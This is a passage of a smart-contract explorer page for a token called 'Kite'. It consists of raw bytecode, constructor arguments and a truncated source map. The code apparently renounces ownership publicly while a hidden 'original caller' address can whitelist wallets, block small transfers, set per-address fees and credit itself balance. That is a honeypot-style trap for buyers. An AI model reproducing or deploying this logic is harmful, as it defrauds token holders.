a43565b60405180910390f35b6102a2600480360381019061029d9190611817565b61118f565b005b6102ac6112ce565b005b6102c860048036038101906102c391906116fb565b61140a565b6040516102d59190611b20565b60405180910390f35b6102f860048036038101906102f39190611873565b611491565b005b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e2611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611ac0565b60405180910390fd5b600554821015806105b85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6105f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ee90611b00565b60405180910390fd5b60006106038584611560565b9050600081846106139190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106649190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ba9190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061070b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107549190611ca4565b92505081905550610763610b6a565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156107f45781600160006107a3610b6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ec9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108519190611b20565b60405180910390a36001925050509392505050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016108b091906119f2565b604051602081830303815290604052805190602001206108ce611558565b6040516020016108de9190611a0d565b6040516020818303038152906040528051906020012014156109915760005b815181101561098b5760006006600084848151811061091f5761091e611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061098390611dd5565b9150506108fd565b506109cc565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c390611ae0565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610a4b91906119f2565b60405160208183030381529060405280519060200120610a69611558565b604051602001610a799190611a0d565b604051602081830303815290604052805190602001201415610b2c5760005b8151811015610b2657600160066000848481518110610aba57610ab9611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b1e90611dd5565b915050610a98565b50610b67565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5e90611ae0565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610ba290611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610bce90611d72565b8015610c1b5780601f10610bf057610100808354040283529160200191610c1b565b820191906000526020600020905b815481529060010190602001808311610bfe57829003601f168201915b5050505050905090565b60008160016000610c34611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790611a80565b60405180910390fd5b60055482101580610d11575060066000610cc8611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790611b00565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d91611558565b73ffffffffffffffffffffffffffffffffffffffff16148015610e015750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610f6f5760036000610e12611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610e59611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea29190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610ec8611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60036000610f0b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610f519190611bc3565b604051610f5e9190611b20565b60405180910390a360019050611189565b6000610f82610f7c611558565b84611560565b905060008184610f929190611ca4565b90508360016000610fa1611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fea9190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110409190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611116578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461110e9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff16611135611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117a9190611b20565b60405180910390a36001925050505b92915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016111c291906119f2565b604051602081830303815290604052805190602001206111e0611558565b6040516020016111f09190611a0d565b60405160208183030381529060405280519060200120141561128f5760005b82518110156112895781600360008584815181106112305761122f611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061128190611dd5565b91505061120f565b506112ca565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c190611ae0565b60405180910390fd5b5050565b6112d6611558565b73ffffffffffffffffffffffffffffffffffffffff166112f4610b6a565b73ffffffffffffffffffffffffffffffffffffffff161461134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190611aa0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016114c491906119f2565b604051602081830303815290604052805190602001206114e2611558565b6040516020016114f29190611a0d565b60405160208183030381529060405280519060200120141561151a5780600581905550611555565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90611ae0565b60405180910390fd5b50565b600033905090565b600061156a610b6a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602483611bb2565b915061193d82611f71565b604082019050919050565b6000611955602083611bb2565b915061196082611fc0565b602082019050919050565b6000611978602683611bb2565b915061198382611fe9565b604082019050919050565b600061199b602183611bb2565b91506119a682612038565b604082019050919050565b60006119be604783611bb2565b91506119c982612087565b606082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e7366657220616f6d6f756e7420657863656564732062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616f6d6f756e74206578636565647320616c6c60008201527f6f77616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616f6d6f756e742069732062656c6f7720746860008201527f65206d696e696d756d20616e642073656e646572206973206e6f74207768697460208201527f656c697374656400000000000000000000000000000000000000000000000000604082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea2646970667358221220f876365a975d42dfd4ebbeccb4b3bea6e78d3054d0a09e04f32de41c7f03ee8264736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e0000000000000000000000000000000000000000000000000000000000000000044b6974650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b69746500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Kite
Arg [1] : symbol_ (string): Kite
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000b2d05e00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 4b69746500000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4b69746500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1707:5292:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2611:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5597:231;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6894:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5836:809;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2797:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4023:359;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2888:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3666:349;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1251:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2702;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4390:1040;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3011:349;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1470:230;;;:::i;:::-;;5438:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3370:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2611:83;2648:13;2681:5;2674:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2611:83;:::o;5597:231::-;5681:4;5735:7;5698:11;:25;5710:12;:10;:12::i;:::-;5698:25;;;;;;;;;;;;;;;:34;5724:7;5698:34;;;;;;;;;;;;;;;:44;;;;5781:7;5758:40;;5767:12;:10;:12::i;:::-;5758:40;;;5790:7;5758:40;;;;;;:::i;:::-;;;;;;;;5816:4;5809:11;;5597:231;;;;:::o;6894:102::-;6949:7;6976:12;;6969:19;;6894:102;:::o;5836:809::-;5943:4;6005:7;5968:11;:19;5980:6;5968:19;;;;;;;;;;;;;;;:33;5988:12;:10;:12::i;:::-;5968:33;;;;;;;;;;;;;;;;:44;;5960:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;6085:23;;6074:7;:34;;:56;;;;6112:10;:18;6123:6;6112:18;;;;;;;;;;;;;;;;;;;;;;;;;6074:56;6066:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;6217:12;6232:30;6246:6;6254:7;6232:13;:30::i;:::-;6217:45;;6273:24;6310:4;6300:7;:14;;;;:::i;:::-;6273:41;;6348:7;6327:9;:17;6337:6;6327:17;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;6390:16;6366:9;:20;6376:9;6366:20;;;;;;;;;;;;;;;;:40;;;;;;;:::i;:::-;;;;;;;;6454:7;6417:11;:19;6429:6;6417:19;;;;;;;;;;;;;;;:33;6437:12;:10;:12::i;:::-;6417:33;;;;;;;;;;;;;;;;:44;;;;;;;:::i;:::-;;;;;;;;6491:7;:5;:7::i;:::-;6478:20;;:9;:20;;;6474:79;;;6537:4;6515:9;:18;6525:7;:5;:7::i;:::-;6515:18;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;6474:79;6587:9;6570:45;;6579:6;6570:45;;;6598:16;6570:45;;;;;;:::i;:::-;;;;;;;;6633:4;6626:11;;;;5836:809;;;;;:::o;2797:83::-;2838:5;2863:9;;;;;;;;;;;2856:16;;2797:83;:::o;4023:359::-;4170:5;;;;;;;;;;;4153:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;4143:34;;;;;;4125:12;:10;:12::i;:::-;4108:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;4098:41;;;;;;:79;4094:273;;;4195:9;4190:102;4214:7;:14;4210:1;:18;4190:102;;;4275:5;4250:10;:22;4261:7;4269:1;4261:10;;;;;;;;:::i;:::-;;;;;;;;4250:22;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;4230:3;;;;;:::i;:::-;;;;4190:102;;;;4094:273;;;4316:43;;;;;;;;;;:::i;:::-;;;;;;;;4094:273;4023:359;:::o;2888:117::-;2953:7;2980:9;:17;2990:6;2980:17;;;;;;;;;;;;;;;;2973:24;;2888:117;;;:::o;3666:349::-;3808:5;;;;;;;;;;;3791:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;3781:34;;;;;;3763:12;:10;:12::i;:::-;3746:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3736:41;;;;;;:79;3732:272;;;3833:9;3828:101;3852:7;:14;3848:1;:18;3828:101;;;3913:4;3888:10;:22;3899:7;3907:1;3899:10;;;;;;;;:::i;:::-;;;;;;;;3888:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;3868:3;;;;;:::i;:::-;;;;3828:101;;;;3732:272;;;3953:43;;;;;;;;;;:::i;:::-;;;;;;;;3732:272;3666:349;:::o;1251:87::-;1297:7;1324:6;;;;;;;;;;;1317:13;;1251:87;:::o;2702:::-;2741:13;2774:7;2767:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2702:87;:::o;4390:1040::-;4477:4;4529:7;4502:9;:23;4512:12;:10;:12::i;:::-;4502:23;;;;;;;;;;;;;;;;:34;;4494:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;4607:23;;4596:7;:34;;:62;;;;4634:10;:24;4645:12;:10;:12::i;:::-;4634:24;;;;;;;;;;;;;;;;;;;;;;;;;4596:62;4588:146;;;;;;;;;;;;:::i;:::-;;;;;;;;;4765:5;;;;;;;;;;;4749:21;;:12;:10;:12::i;:::-;:21;;;:43;;;;;4787:5;;;;;;;;;;;4774:18;;:9;:18;;;4749:43;4745:678;;;4836:6;:20;4843:12;:10;:12::i;:::-;4836:20;;;;;;;;;;;;;;;;4809:9;:23;4819:12;:10;:12::i;:::-;4809:23;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;4899:9;4876:65;;4885:12;:10;:12::i;:::-;4876:65;;;4920:6;:20;4927:12;:10;:12::i;:::-;4920:20;;;;;;;;;;;;;;;;4910:7;:30;;;;:::i;:::-;4876:65;;;;;;:::i;:::-;;;;;;;;4963:4;4956:11;;;;4745:678;5000:12;5015:36;5029:12;:10;:12::i;:::-;5043:7;5015:13;:36::i;:::-;5000:51;;5066:24;5103:4;5093:7;:14;;;;:::i;:::-;5066:41;;5151:7;5124:9;:23;5134:12;:10;:12::i;:::-;5124:23;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;5197:16;5173:9;:20;5183:9;5173:20;;;;;;;;;;;;;;;;:40;;;;;;;:::i;:::-;;;;;;;;5247:5;;;;;;;;;;;5234:18;;:9;:18;;;5230:83;;;5293:4;5273:9;:16;5283:5;;;;;;;;;;;5273:16;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;5230:83;5357:9;5334:51;;5343:12;:10;:12::i;:::-;5334:51;;;5368:16;5334:51;;;;;;:::i;:::-;;;;;;;;5407:4;5400:11;;;;4390:1040;;;;;:::o;3011:349::-;3161:5;;;;;;;;;;;3144:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;3134:34;;;;;;3116:12;:10;:12::i;:::-;3099:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3089:41;;;;;;:79;3085:268;;;3186:9;3181:97;3205:7;:14;3201:1;:18;3181:97;;;3262:4;3241:6;:18;3248:7;3256:1;3248:10;;;;;;;;:::i;:::-;;;;;;;;3241:18;;;;;;;;;;;;;;;:25;;;;3221:3;;;;;:::i;:::-;;;;3181:97;;;;3085:268;;;3302:43;;;;;;;;;;:::i;:::-;;;;;;;;3085:268;3011:349;;:::o;1470:230::-;1395:12;:10;:12::i;:::-;1384:23;;:7;:5;:7::i;:::-;:23;;;1376:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1577:42:::1;1540:81;;1561:6;::::0;::::1;;;;;;;;1540:81;;;;;;;;;;;;1649:42;1632:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1470:230::o:0;5438:151::-;5527:7;5554:11;:18;5566:5;5554:18;;;;;;;;;;;;;;;:27;5573:7;5554:27;;;;;;;;;;;;;;;;5547:34;;5438:151;;;;:::o;3370:288::-;3514:5;;;;;;;;;;;3497:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;3487:34;;;;;;3469:12;:10;:12::i;:::-;3452:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;3442:41;;;;;;:79;3438:205;;;3560:7;3534:23;:33;;;;3438:205;;;3592:43;;;;;;;;;;:::i;:::-;;;;;;;;3438:205;3370:288;:::o;813:115::-;866:15;909:10;894:26;;813:115;:::o;6653:233::-;6731:7;6765;:5;:7::i;:::-;6755:17;;:6;:17;;;6751:128;;;6796:1;6789:8;;;;6751:128;6864:3;6847:6;:14;6854:6;6847:14;;;;;;;;;;;;;;;;6837:7;:24;;;;:::i;:::-;:30;;;;:::i;:::-;6830:37;;6653:233;;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;804:87;;;;:::o;914:370::-;985:5;1034:3;1027:4;1019:6;1015:17;1011:27;1001:2;;1042:79;;:::i;:::-;1001:2;1159:6;1146:20;1184:94;1274:3;1266:6;1259:4;1251:6;1247:17;1184:94;:::i;:::-;1175:103;;991:293;;;;;:::o;1290:139::-;1336:5;1374:6;1361:20;1352:29;;1390:33;1417:5;1390:33;:::i;:::-;1342:87;;;;:::o;1435:329::-;1494:6;1543:2;1531:9;1522:7;1518:23;1514:32;1511:2;;;1549:79;;:::i;:::-;1511:2;1669:1;1694:53;1739:7;1730:6;1719:9;1715:22;1694:53;:::i;:::-;1684:63;;1640:117;1501:263;;;;:::o;1770:474::-;1838:6;1846;1895:2;1883:9;1874:7;1870:23;1866:32;1863:2;;;1901:79;;:::i;:::-;1863:2;2021:1;2046:53;2091:7;2082:6;2071:9;2067:22;2046:53;:::i;:::-;2036:63;;1992:117;2148:2;2174:53;2219:7;2210:6;2199:9;2195:22;2174:53;:::i;:::-;2164:63;;2119:118;1853:391;;;;;:::o;2250:619::-;2327:6;2335;2343;2392:2;2380:9;2371:7;2367:23;2363:32;2360:2;;;2398:79;;:::i;:::-;2360:2;2518:1;2543:53;2588:7;2579:6;2568:9;2564:22;2543:53;:::i;:::-;2533:63;;2489:117;2645:2;2671:53;2716:7;2707:6;2696:9;2692:22;2671:53;:::i;:::-;2661:63;;2616:118;2773:2;2799:53;2844:7;2835:6;2824:9;2820:22;2799:53;:::i;:::-;2789:63;;2744:118;2350:519;;;;;:::o;2875:474::-;2943:6;2951;3000:2;2988:9;2979:7;2975:23;2971:32;2968:2;;;3006:79;;:::i;:::-;2968:2;3126:1;3151:53;3196:7;3187:6;3176:9;3172:22;3151:53;:::i;:::-;3141:63;;3097:117;3253:2;3279:53;3324:7;3315:6;3304:9;3300:22;3279:53;:::i;:::-;3269:63;;3224:118;2958:391;;;;;:::o;3355:539::-;3439:6;3488:2;3476:9;3467:7;3463:23;3459:32;3456:2;;;3494:79;;:::i;:::-;3456:2;3642:1;3631:9;3627:17;3614:31;3672:18;3664:6;3661:30;3658:2;;;3694:79;;:::i;:::-;3658:2;3799:78;3869:7;3860:6;3849:9;3845:22;3799:78;:::i;:::-;3789:88;;3585:302;3446:448;;;;:::o;3900:684::-;3993:6;4001;4050:2;4038:9;4029:7;4025:23;4021:32;4018:2;;;4056:79;;:::i;:::-;4018:2;4204:1;4193:9;4189:17;4176:31;4234:18;4226:6;4223:30;4220:2;;;4256:79;;:::i;:::-;4220:2;4361:78;4431:7;4422:6;4411:9;4407:22;4361:78;:::i;:::-;4351:88;;4147:302;4488:2;4514:53;4559:7;4550:6;4539:9;4535:22;4514:53;:::i;:::-;4504:63;;4459:118;4008:576;;;;;:::o;4590:329::-;4649:6;4698:2;4686:9;4677:7;4673:23;4669:32;4666:2;;;4704:79;;:::i;:::-;4666:2;4824:1;4849:53;4894:7;4885:6;4874:9;4870:22;4849:53;:::i;:::-;4839:63;;4795:117;4656:263;;;;:::o;4925:189::-;5046:61;5074:32;5100:5;5074:32;:::i;:::-;5046:61;:::i;:::-;5041:3;5034:74;5024:90;;:::o;5120:118::-;5207:24;5225:5;5207:24;:::i;:::-;5202:3;5195:37;5185:53;;:::o;5244:157::-;5349:45;5369:24;5387:5;5369:24;:::i;:::-;5349:45;:::i;:::-;5344:3;5337:58;5327:74;;:::o;5407:109::-;5488:21;5503:5;5488:21;:::i;:::-;5483:3;5476:34;5466:50;;:::o;5522:364::-;5610:3;5638:39;5671:5;5638:39;:::i;:::-;5693:71;5757:6;5752:3;5693:71;:::i;:::-;5686:78;;5773:52;5818:6;5813:3;5806:4;5799:5;5795:16;5773:52;:::i;:::-;5850:29;5872:6;5850:29;:::i;:::-;5845:3;5841:39;5834:46;;5614:272;;;;;:::o;5892:366::-;6034:3;6055:67;6119:2;6114:3;6055:67;:::i;:::-;6048:74;;6131:93;6220:3;6131:93;:::i;:::-;6249:2;6244:3;6240:12;6233:19;;6038:220;;;:::o;6264:366::-;6406:3;6427:67;6491:2;6486:3;6427:67;:::i;:::-;6420:74;;6503:93;6592:3;6503:93;:::i;:::-;6621:2;6616:3;6612:12;6605:19;;6410:220;;;:::o;6636:366::-;6778:3;6799:67;6863:2;6858:3;6799:67;:::i;:::-;6792:74;;6875:93;6964:3;6875:93;:::i;:::-;6993:2;6988:3;6984:12;6977:19;;6782:220;;;:::o;7008: